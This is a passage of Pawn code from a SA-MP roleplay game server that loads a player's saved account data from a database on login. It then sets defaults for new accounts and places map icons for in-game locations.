	   PlayerInfo[playerid][pCarLicS] = cache_get_row_int(0,58,handle),
	   PlayerInfo[playerid][pFlyLicS] = cache_get_row_int(0,59,handle),
	   PlayerInfo[playerid][pBoatLicS] = cache_get_row_int(0,60,handle),
	   PlayerInfo[playerid][pGunLicS] = cache_get_row_int(0,61,handle),
	   PlayerInfo[playerid][pMatsLicS] = cache_get_row_int(0,62,handle);
	   PlayerInfo[playerid][pCarTime] = cache_get_row_int(0,63,handle);
	   PlayerInfo[playerid][pPayDayHad] = cache_get_row_int(0,64,handle),
	   PlayerInfo[playerid][pTut] = cache_get_row_int(0,65,handle),
	   PlayerInfo[playerid][pWarns] = cache_get_row_int(0,66,handle),
	   PlayerInfo[playerid][pCanistra] = cache_get_row_int(0,67,handle);
	   if(PlayerInfo[playerid][pReg] == 1) {cache_get_row(0,68,PlayerInfo[playerid][pMarriedTo],handle,128);}
	   PlayerInfo[playerid][pLighter] = cache_get_row_int(0,69,handle),
	   PlayerInfo[playerid][pCigarettes] = cache_get_row_int(0,70,handle);
	   PlayerInfo[playerid][pLanguage] = cache_get_row_int(0,71,handle),
	   PlayerInfo[playerid][pLawyerPoint] = cache_get_row_int(0,72,handle),
	   PlayerInfo[playerid][pApproval] = cache_get_row_int(0,73,handle),
	   PlayerInfo[playerid][pWanted] = cache_get_row_int(0,74,handle);

	   if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,75,PlayerInfo[playerid][pEmail],handle,128);}
	   PlayerInfo[playerid][pBanned] = cache_get_row_int(0,76,handle);
		cache_get_row(0,77,PlayerInfo[playerid][pIp],handle,100);
	   if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,78,PlayerInfo[playerid][pBanReason],handle,128);}
	   if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,79,PlayerInfo[playerid][pBannedBy],handle,40);}
	   if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,80,PlayerInfo[playerid][pBanTime],handle,260);}

	   PINFO[playerid][pID] = cache_get_row_int(0,81,handle);

	   PINFO[playerid][pHelper] = cache_get_row_int(0,82,handle);
	   PINFO[playerid][pGetHitTime] = cache_get_row_int(0,83,handle);

	   PINFO[playerid][pReferral] = cache_get_row_int(0, 84, handle);

	   PINFO[playerid][pClan] = cache_get_row_int(0, 85, handle);
	   PINFO[playerid][pcRank] = cache_get_row_int(0, 86, handle);
	   PINFO[playerid][pRep] = cache_get_row_int(0, 87, handle);
		PINFO[playerid][pCwarn] = cache_get_row_int(0, 88, handle);
		PINFO[playerid][pGold] = cache_get_row_int(0, 89, handle);
		PINFO[playerid][pKillW] = cache_get_row_int(0, 90, handle);
		PINFO[playerid][pDeathW] = cache_get_row_int(0, 91, handle);
		PINFO[playerid][pKillA] = cache_get_row_int(0, 92, handle);
		PINFO[playerid][pDeathA] = cache_get_row_int(0, 93, handle);
		PINFO[playerid][pOnline] = cache_get_row_int(0, 94, handle);
		PINFO[playerid][pPin1] = cache_get_row_int(0, 95, handle);
		PINFO[playerid][pPin2] = cache_get_row_int(0, 96, handle);
		PINFO[playerid][pPin3] = cache_get_row_int(0, 97, handle);
		PINFO[playerid][pPin4] = cache_get_row_int(0, 98, handle);
		PINFO[playerid][pPinned] = cache_get_row_int(0, 99, handle);
		if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,100,PlayerInfo[playerid][pJailBy],handle,128);}
		if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,101,PlayerInfo[playerid][pJailReason],handle,128);}
		if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,102,PlayerInfo[playerid][pMuteBy],handle,128);}
		if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,103,PlayerInfo[playerid][pMuteReason],handle,128);}
		PINFO[playerid][pAdminJailed] = cache_get_row_int(0, 104, handle);
		//if(PlayerInfo[playerid][pReg] == 1) { cache_get_row(0,105,PlayerInfo[playerid][pText],handle,512);}
		PINFO[playerid][cKhalafi] = cache_get_row_int(0, 106, handle);
		PINFO[playerid][cKhalafi_2] = cache_get_row_int(0, 107, handle);
		PINFO[playerid][pLav] = cache_get_row_int(0, 108, handle);
		PINFO[playerid][pHav] = cache_get_row_int(0, 109, handle);
		PINFO[playerid][pAav] = cache_get_row_int(0, 110, handle);
		PINFO[playerid][pFriends] = cache_get_row_int(0, 111, handle);
		PINFO[playerid][pVeh1] = cache_get_row_int(0, 112, handle);
		PINFO[playerid][pVeh2] = cache_get_row_int(0, 113, handle);
		PINFO[playerid][pVeh3] = cache_get_row_int(0, 114, handle);
		PINFO[playerid][pVeh4] = cache_get_row_int(0, 115, handle);
		PINFO[playerid][pVeh5] = cache_get_row_int(0, 116, handle);
		PINFO[playerid][pVeh6] = cache_get_row_int(0, 117, handle);


		PINFO[playerid][pBanDays] = cache_get_row_int(0, 124, handle);
		cache_get_row(0,125,PlayerInfo[playerid][pPExpire],handle,24);
		PINFO[playerid][pPDay] = cache_get_row_int(0, 126, handle);
		cache_get_row(0,127,PlayerInfo[playerid][pDFaction],handle,256);
		cache_get_row(0,128,PlayerInfo[playerid][pDClan],handle,256);
		PlayerInfo[playerid][pGetWeb] = cache_get_row_int(0,129,handle);
		PlayerInfo[playerid][pSoldier] = cache_get_row_int(0,130,handle);
		PlayerInfo[playerid][pCard] = cache_get_row_int(0,131,handle);
		PlayerInfo[playerid][pCharge] = cache_get_row_int(0,132,handle);
		PlayerInfo[playerid][pDJ] = cache_get_row_int(0,133,handle);
		PlayerInfo[playerid][pGift] = cache_get_row_int(0,134,handle);
		PlayerInfo[playerid][pLau] = cache_get_row_int(0,135,handle);
		PlayerInfo[playerid][pSprays] = cache_get_row_int(0,136,handle);
		PlayerInfo[playerid][pGBox] = cache_get_row_int(0,137,handle);
		PlayerInfo[playerid][pBox] = cache_get_row_int(0,138,handle);
		PlayerInfo[playerid][pFSS] = cache_get_row_int(0,139,handle);
		PlayerInfo[playerid][pActA] = cache_get_row_int(0,140,handle);
		PlayerInfo[playerid][pActH] = cache_get_row_int(0,141,handle);
		PlayerInfo[playerid][pActL] = cache_get_row_int(0,142,handle);
		PlayerInfo[playerid][pAuto] = cache_get_row_int(0,143,handle);
		cache_get_row(0,144,PlayerInfo[playerid][pAutoIP],handle,100);
		PlayerInfo[playerid][pVip] = cache_get_row_int(0,145,handle);
		PINFO[playerid][pHDay] = cache_get_row_int(0, 146, handle);
		PlayerInfo[playerid][pHAgr] = cache_get_row_int(0,147,handle);
		PlayerInfo[playerid][pSPoint] = cache_get_row_int(0,148,handle);
		PlayerInfo[playerid][pPoint] = cache_get_row_int(0,149,handle);
		cache_get_row(0,150,PlayerInfo[playerid][pRelogIP],handle,100);
		PlayerInfo[playerid][pRelog] = cache_get_row_int(0,151,handle);
		PlayerInfo[playerid][pAutoPIN] = cache_get_row_int(0,152,handle);
		PlayerInfo[playerid][pGlasses] = cache_get_row_int(0,153,handle);
		PlayerInfo[playerid][pGMute] = cache_get_row_int(0,154,handle);
		PlayerInfo[playerid][pCChat] = cache_get_row_int(0,155,handle);
		PlayerInfo[playerid][pMlp] = cache_get_row_int(0,156,handle);
		PlayerInfo[playerid][pHlp] = cache_get_row_int(0,157,handle);
		PlayerInfo[playerid][pAutoS] = cache_get_row_int(0,158,handle);
	   PlayerInfo[playerid][pRefa] = cache_get_row_int(0,159,handle);
	   PlayerInfo[playerid][pAlp] = cache_get_row_int(0,160,handle);
	   PlayerInfo[playerid][pWlp] = cache_get_row_int(0,161,handle);
	   PlayerInfo[playerid][pSlp] = cache_get_row_int(0,162,handle);
	   PlayerInfo[playerid][pStaffDays] = cache_get_row_int(0,163,handle);
	   PlayerInfo[playerid][pActHour] = cache_get_row_int(0,164,handle);
	   PlayerInfo[playerid][pActMin] = cache_get_row_int(0,165,handle);
	   PlayerInfo[playerid][pActSec] = cache_get_row_int(0,166,handle);
	   PlayerInfo[playerid][pSponser] = cache_get_row_int(0,167,handle);
	   PlayerInfo[playerid][pSDay] = cache_get_row_int(0,168,handle);
	   cache_get_row(0,169,PlayerInfo[playerid][pHWID],handle,100);
	   cache_get_row(0,170,PlayerInfo[playerid][pRHWID],handle,100);
	   PlayerInfo[playerid][pActSecOver] = cache_get_row_int(0,171,handle);
	   PlayerInfo[playerid][pActMinOver] = cache_get_row_int(0,172,handle);
	   PlayerInfo[playerid][pActHourOver] = cache_get_row_int(0,173,handle);
	   PlayerInfo[playerid][pVoted] = cache_get_row_int(0,174,handle);
	   PlayerInfo[playerid][pIlPoints] = cache_get_row_int(0,175,handle);
	   PlayerInfo[playerid][pHackPoints] = cache_get_row_int(0,176,handle);
	   PlayerInfo[playerid][pGPS] = cache_get_row_int(0,177,handle);
	   PlayerInfo[playerid][pSRob] = cache_get_row_int(0,178,handle);
	   PlayerInfo[playerid][pChBan] = cache_get_row_int(0,179,handle);
	   PlayerInfo[playerid][pTBan] = cache_get_row_int(0,180,handle);
	   PlayerInfo[playerid][pSecurity] = cache_get_row_int(0,181,handle);
       cache_get_row(0,182,PlayerInfo[playerid][pSecQuestion],handle,128);
       cache_get_row(0,183,PlayerInfo[playerid][pAnsQuestion],handle,128);
       PlayerInfo[playerid][pFAct1] = cache_get_row_int(0,184,handle);
       PlayerInfo[playerid][pFAct2] = cache_get_row_int(0,185,handle);
       PlayerInfo[playerid][pFAct3] = cache_get_row_int(0,186,handle);
       PlayerInfo[playerid][pFAct4] = cache_get_row_int(0,187,handle);
       PlayerInfo[playerid][pNCard] = cache_get_row_int(0,188,handle);
	   PlayerInfo[playerid][pNCNum] = cache_get_row_int(0,189,handle);
	   PlayerInfo[playerid][pBuff] = cache_get_row_int(0,190,handle);
	   PlayerInfo[playerid][pCoins] = cache_get_row_float(0,191,handle);
	   PlayerInfo[playerid][pMinedToday] = cache_get_row_float(0,192,handle);
		//if(PINFO[playerid][pLau] == 0) return KickWithMessage(playerid,COLOR_LIGHTRED,"You have been kicked. you have to login to server by launcher's application.");
		//if(PINFO[playerid][pLau] == 1) SCM(playerid,COLOR_AdminWarn,"Launcher application detected by server.");
		if(PINFO[playerid][pVeh1] != 0) ReturnVehicle(playerid, PINFO[playerid][pVeh1]);
		if(PINFO[playerid][pVeh2] != 0) ReturnVehicle(playerid, PINFO[playerid][pVeh2]);
		if(PINFO[playerid][pVeh3] != 0) ReturnVehicle(playerid, PINFO[playerid][pVeh3]);
		if(PINFO[playerid][pVeh4] != 0) ReturnVehicle(playerid, PINFO[playerid][pVeh4]);
		if(PINFO[playerid][pVeh5] != 0) ReturnVehicle(playerid, PINFO[playerid][pVeh5]);
		if(PINFO[playerid][pVeh6] != 0) ReturnVehicle(playerid, PINFO[playerid][pVeh6]);
		if(PlayerInfo[playerid][pReg] != 0)
		{
		LoggTIME[playerid] = SetTimerEx("shack", 300, false, "i", playerid);
		}



		CountFriends(playerid);
		SetPlayerScore(playerid, PINFO[playerid][pLevel]);
	   RequestSelected[playerid] = false;
	   if(KickLoginUsed[playerid] == true)
	   {
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
		  KickLoginUsed[playerid] = false;
	   }
		if(PINFO[playerid][pMember] != 0 && PINFO[playerid][pRank] == 0) {
		PINFO[playerid][pMember] = 0;
		SaveKonVal(playerid, "pMember", 0);
		}

		new plname[MAX_PLAYER_NAME];
		GetPlayerName(playerid, plname, sizeof(plname));
	   ResetPlayerKolang(playerid);
	   ResetPlayerPool(playerid);
	   gPlayerLogged[playerid] = 1;
		SendOnlineF(playerid);
	   SaveKonStr(playerid, "pIp", PINFO[playerid][pIp]);
	   //SaveKonStr(playerid, "pAutoIP", PINFO[playerid][pAutoIP]);
	   /*new IPstr[MAX_PLAYERS][19], b = 0;
	   for(new i = 0;i<Akharish;i++)
	   {
		  if(IsPlayerConnected(i) && i != playerid)
		  {
			 GetPlayerIp(i, IPstr[b], 19);
			 b++;
		  }
	   }
	   for(new i = 0;i<b;i++)
	   {
		  if(!strcmp(PINFO[playerid][pIp], IPstr[i], true))
		  {
			 if((PINFO[i][pPremiumAccount] < 1 && PINFO[playerid][pPremiumAccount] < 1) && i != playerid && gPlayerLogged[i] == 1)
			 {
				new str[256];
				format(str, 256, "** You have the same IP (%s) as %s (Kicked) **",PINFO[playerid][pIp], PINFO[i][pName]);
				SCM(playerid,COLOR_LIGHTRED,str);
				KickWithMessage(playerid,COLOR_LIGHTRED, "** If you want to play from more computers on the same IP you have to buy Premium Account **");
				return 1;
			 }
		  }
	   }*/
	   if(PlayerInfo[playerid][pReg] == 0)
	   {
		  GetPlayerIp(playerid,PINFO[playerid][pIp],100);
		  PlayerInfo[playerid][pLevel] = 1;
		  SetPlayerScore(playerid,PlayerInfo[playerid][pLevel]);
		  PlayerInfo[playerid][pTeam] = TEAM_CIV;
		  new rand = RandomShomare(1000000,9999999);
		  SetPlayerNumber(playerid,INVALID_PLAYER_ID,rand);
		  PlayerInfo[playerid][pPhousekey] = 9999;
			PlayerInfo[playerid][pRep] = 0;
		  PlayerInfo[playerid][pCar_1] = 0;//Nemikhad save she
		  PINFO[playerid][pCar_2] = 0;//Nemikhad save she
			PINFO[playerid][pCar_3] = 0;//Nemikhad save she
			PINFO[playerid][pCar_4] = 0;//Nemikhad save she
			PINFO[playerid][pCar_5] = 0;//Nemikhad save she
			PINFO[playerid][pCar_6] = 0;//Nemikhad save she
		  PlayerInfo[playerid][pPbiskey] = 9999;
		  PlayerInfo[playerid][pAccount] = 100;
		  GivePlayerPool(playerid, 150);
		  new string[256];
		  new d,m,y;
		  getdate(y,m,d);
		  format(string,sizeof(string), "%s%d/%s%d/%s%d",(d < 10) ? ("0") : (""),d,(m < 10) ? ("0") : (""),m,(y < 10) ? ("0") : (""),y);
		  strmid(PlayerInfo[playerid][pRegistredDate], string, 0, strlen(string), 255);
		  SaveKonVal(playerid, "pLevel", 1);
		  SaveKonVal(playerid, "pTeam", TEAM_CIV);
		  SaveKonVal(playerid, "pPhousekey", 9999);
		  SaveKonVal(playerid, "pPbiskey", 9999);
		  SaveKonVal(playerid, "pAccount", 100);
		  SaveKonStr(playerid, "pRegistredDate", string);
		  SaveKonStr(playerid, "pLastLogin", PINFO[playerid][pLastLogin]);
		  SaveKonStr(playerid, "pMarriedTo", PINFO[playerid][pMarriedTo]);
		  SaveKonStr(playerid, "pEmail", PINFO[playerid][pEmail]);
		  SaveKonStr(playerid, "pBanReason", PINFO[playerid][pBanReason]);
		  SaveKonStr(playerid, "pBannedBy", PINFO[playerid][pBannedBy]);
		  SaveKonStr(playerid, "pBanTime", PINFO[playerid][pBanTime]);
			SaveKonStr(playerid, "pJailBy", PINFO[playerid][pJailBy]);
			SaveKonStr(playerid, "pJailReason", PINFO[playerid][pJailReason]);
			SaveKonStr(playerid, "pMuteBy", PINFO[playerid][pJailBy]);
			SaveKonStr(playerid, "pMuteReason", PINFO[playerid][pJailReason]);
			//SaveKonStr(playerid, "pText", PINFO[playerid][pText]);


			PlayerInfo[playerid][pDetSkill] = 1;
			PlayerInfo[playerid][pLawSkill] = 1;
			PlayerInfo[playerid][pMechSkill] = 1;
			PlayerInfo[playerid][pJackSkill] = 1;
			PlayerInfo[playerid][pNewsSkill] = 1;
			PlayerInfo[playerid][pDrugsSkill] = 1;
			PlayerInfo[playerid][pMatsSkill] = 1;
			PlayerInfo[playerid][pFriends] = 1;

			SaveKonVal(playerid, "pDetSkill", PlayerInfo[playerid][pDetSkill]);
			SaveKonVal(playerid, "pLawSkill", PlayerInfo[playerid][pLawSkill]);
			SaveKonVal(playerid, "pMechSkill", PlayerInfo[playerid][pMechSkill]);
			SaveKonVal(playerid, "pJackSkill", PlayerInfo[playerid][pJackSkill]);
			SaveKonVal(playerid, "pNewsSkill", PlayerInfo[playerid][pNewsSkill]);
			SaveKonVal(playerid, "pDrugsSkill", PlayerInfo[playerid][pDrugsSkill]);
			SaveKonVal(playerid, "pMatsSkill", PlayerInfo[playerid][pMatsSkill]);


			SaveKonVal(playerid, "pFriends", PlayerInfo[playerid][pFriends]);
		  RegisterSteps(playerid);

	   }




	   new playername2[40];
	   GetPlayerName(playerid,playername2,40);
//	   new string3[256];
	   //format(string3, sizeof(string3), "SERVER: Welcome {00E8C0}%s{FFFFFF}!",playername2);
		// SCM(playerid,COLOR_WHITE,string3);
	   TextDrawHideForPlayer(playerid,AccountBar);
	   /*
	   format(string3, sizeof(string3), " ",playername2);
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), "{00FF00}[{FF0000}Welcome-Message{00FF00}]{FFFFFF}: {FF00FF}CM Founder: {FFFF00}No-One");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), "{00FF00}[{FF0000}Welcome-Message{00FF00}]{FFFFFF}: {FF00FF}Scripter: {FFFF00}Ranger");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), " ");
		SCM(playerid,COLOR_WHITE,string3);
		format(string3, sizeof(string3), "{00FF00}[{FF0000}Welcome-Message{00FF00}]{FFFFFF}: {FF00FF}For See This Version Updates Use: /Updates");
		SCM(playerid,COLOR_WHITE,string3);
		*/
		SetPlayerMapIcon(playerid, 1, 1193.8523,-918.9190,43.1762, 10, COLOR_YELLOW);//burger shot LS
	   SetPlayerMapIcon(playerid, 2, 2469.7820,2018.0828,16.0938, 10, COLOR_YELLOW);//burger shot LV
	   SetPlayerMapIcon(playerid, 3, 2392.5093,2041.5692,10.8203, 14, COLOR_YELLOW);//cluckin bell LV
	   SetPlayerMapIcon(playerid, 4, 2441.1169,2065.3987,10.8203, 49, COLOR_YELLOW);   // the craw bar
	   SetPlayerMapIcon(playerid, 6, 1528.779, -1678.113, 5.890625, 30, COLOR_YELLOW);  // Police Station
	   SetPlayerMapIcon(playerid, 7, 1461.695, -1011.915, 26.84375, 52, COLOR_YELLOW);  // Bank LS
	   SetPlayerMapIcon(playerid, 8, 2577.4768,1325.4229,10.8203, 52, COLOR_YELLOW);  // Bank LV
	   SetPlayerMapIcon(playerid, 9, 2169.4907,2795.8733,10.8203, 10, COLOR_YELLOW);//burger shot LV
	   SetPlayerMapIcon(playerid, 10, 2420.0530,-1508.8719,24.0000, 14, COLOR_YELLOW);//cluckin bell LS
	   SetPlayerMapIcon(playerid, 11, 2312.9451,-1645.0206,14.8270, 49, COLOR_YELLOW); // Ten Green
	   SetPlayerMapIcon(playerid, 12, 1831.4663,-1683.2169,13.2197, 48, COLOR_YELLOW); // Alhambra
	   SetPlayerMapIcon(playerid, 13, 1498.4476,-1582.8242,13.5469, 50, COLOR_YELLOW); // Restaurant
	   SetPlayerMapIcon(playerid, 14, 2023.1091,1919.9839,12.3394, 48, COLOR_YELLOW);  // Gun Dealer Reg.
	   SetPlayerMapIcon(playerid, 15, 2638.2974,1671.8569,11.0234, 14, COLOR_YELLOW);//cluckin bell LV
	   SetPlayerMapIcon(playerid, 16, 2638.3850,1849.7784,11.0234, 29, COLOR_YELLOW);//LV PIZZZA
	   SetPlayerMapIcon(playerid, 17, 1158.0591,2072.2092,11.0625, 10, COLOR_YELLOW);//LV BURGER
	   SetPlayerMapIcon(playerid, 18, 2845.8950,2415.3938,11.0690, 14, COLOR_YELLOW);//CLUCKBELL LV
	   SetPlayerMapIcon(playerid, 19, 2105.4858,-1806.4725,13.5547, 29, COLOR_YELLOW); // Pizza stack
	   SetPlayerMapIcon(playerid, 20, 2229.9011,-1721.2582,13.5613, 54, COLOR_YELLOW); // Gym
	   SetPlayerMapIcon(playerid, 21, 2756.7285,2477.2551,11.0625, 29, COLOR_YELLOW); // pizza
	   SetPlayerMapIcon(playerid, 22, 1368.986572,-1279.668212,13.546875, 6, COLOR_YELLOW); // gsls
	   SetPlayerMapIcon(playerid, 23, 2596.6951,1095.6530,10.8222, 6, COLOR_YELLOW); // gslv
	   SetPlayerMapIcon(playerid, 24, 2229.9072,-1721.2985,13.5617, 54, COLOR_YELLOW); // Gym
	   SetPlayerMapIcon(playerid, 25, 2596.5083,1095.5210,10.8222, 18, COLOR_YELLOW); // GSLV
	   //SetPlayerMapIcon(playerid, 26, 1791.3075,-1164.2156,23.8281, 6, COLOR_YELLOW); // GSLS
	   SetPlayerMapIcon(playerid, 27, 2020.2828,1007.7108,10.8203, 44, COLOR_YELLOW); // 4dragons
	   SetPlayerMapIcon(playerid, 28, 1177.699951,-1325.000000,14.083624, 22, COLOR_YELLOW); // LS hospital 2
		SetPlayerMapIcon(playerid, 29, 329.8260,-1516.1796,35.8671, 55, COLOR_YELLOW); // LS hospital 2

		/*if(PINFO[playerid][pGift] == 0) {
		SetPlayerMapIcon(playerid, 32, 1455.622314,-1654.499511,14.046875, 56, COLOR_YELLOW); // LSPD Gift
		SetPlayerMapIcon(playerid, 33, 1067.721435,-766.291137,106.869613, 56, COLOR_YELLOW); // Richman Gift
		SetPlayerMapIcon(playerid, 34, 814.571533,-1802.003295,13.023437, 56, COLOR_YELLOW); // Santa Gift
		SetPlayerMapIcon(playerid, 35, 1730.182128,-2202.902832,13.546875, 56, COLOR_YELLOW); // Airport Gift
		SetPlayerMapIcon(playerid, 36, 1455.622314,-1654.499511,14.046875, 56, COLOR_YELLOW); // LV Mojasame Gift
		SetPlayerMapIcon(playerid, 37,	1717.538818,2164.600341,10.812517, 56, COLOR_YELLOW); // LVSpawn Gift
		SetPlayerMapIcon(playerid, 38, -1937.370971,882.680725,38.50781, 56, COLOR_YELLOW); // SF1 Gift
		SetPlayerMapIcon(playerid, 39, -2314.375732,101.390151,35.390651, 56, COLOR_YELLOW); // SF2 Gift
		SetPlayerMapIcon(playerid, 40,  -1998.756103,-903.316406,32.171875, 56, COLOR_YELLOW); // SF3 Gift
		}*/
	   if(PINFO[playerid][pPhousekey] != 9999)
	   {
		  new h = PINFO[playerid][pPhousekey];
		  SetPlayerMapIcon(playerid,30,HouseInfo[h][hExitx],HouseInfo[h][hExity],HouseInfo[h][hExitz],31,COLOR_LIGHTRED);
	   }
	   if(PINFO[playerid][pWanted] > 6) {PINFO[playerid][pWanted] = 6; SaveKonVal(playerid, "pWanted", 6);}
	   if(PlayerInfo[playerid][pWanted] >= 1)
	   {
		  new str4[128];
		  new strrs[144];
		  format(str4,sizeof(str4),"When you left the server you had %d wanted level(s).",PlayerInfo[playerid][pWanted]);
		  SCM(playerid,COLOR_LIGHTRED,str4);
